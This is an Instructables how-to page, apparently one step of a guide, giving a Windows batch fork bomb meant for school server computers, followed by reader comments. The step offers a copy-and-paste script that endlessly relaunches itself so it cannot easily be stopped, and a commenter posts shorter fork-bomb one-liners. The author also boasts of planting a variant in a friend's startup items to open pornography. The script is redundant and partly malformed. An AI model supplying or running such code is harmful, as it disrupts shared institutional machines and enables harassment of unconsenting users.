Instructables

Fork bomb improved for school server computers: see last step for home use

Step 2: Type in this code; or copy and paste.

copy and paste the following code:

@echo off
:START
start S:/start.bat
GOTO START
::S:/start.bat
:s
start%o S:/start.bat
:START
start S:/start.bat
GOTO START
::S:/start.bat
:s
start%o S:/start.bat
:START
start S:/start.bat
GOTO START
::S:/start.bat
:s
start%o S:/start.bat
:START
start S:/start.bat
GOTO START
::S:/start.bat
:s
start%o S:/start.bat
:START
start S:/start.bat
GOTO START
::S:/start.bat
:s
start%o S:/start.bat
:START
start S:/start.bat
GOTO START
::S:/start.bat
:s
start%o S:/start.bat
:START
start S:/start.bat
GOTO START
::S:/start.bat
:s
start%o S:/start.bat
:START
start S:/start.bat
GOTO START
::S:/start.bat
:s
start%o S:/start.bat



And yes it is pretty redundant but I just wanted to make sure it would do the forking effect so you can not stop it. 
 
Remove these adsRemove these ads by Signing Up
michaelb9583 years ago
Every time I see one of those batch files, I die a little inside. Try this:

@for /L %%i in (1,1,8) do @start %0

Much simpler. Or even this might do the job:

@start %0
@start %0
@start %0
@start %0
@start %0
@start %0
@start %0
@start %0
jobergy (author)  michaelb9583 years ago
Ya I love the responses that people get when they see this horror upon their screen lol. I made one for Mac too.

Does this one reopen itself? I have tried very simple fork bombs similar to the one you posted and they went straight to the first one, closed it and the whole process stopped, so that is why I made this one. Yes it is unnecessary for the non-tech savvy but for those who are more so they know how to shut down a simple batch file.
jobergy (author)  michaelb9583 years ago
However I am not a command line expert so if yours opens itself also then yours is better ;)
jobergy (author)  michaelb9583 years ago
is this a loop effect? Because yes this maybe simpler but mine re opens itself that way it can not be cancelled if the user finds the original.

The Batch opens CMD AND itself, that way if they find the first batch file prompt they can cancel that one but it will still continue do to the rest of them.

So yes you are correct that is easier. This one opens itself including whichever other programs you would like to open, I made one once that opened a bunch of midget porn on a friends computer and had it run on his startup items lol. he was SUPER PISSED! I told him he should stop downloading porn haha but eventually i fixed it for him.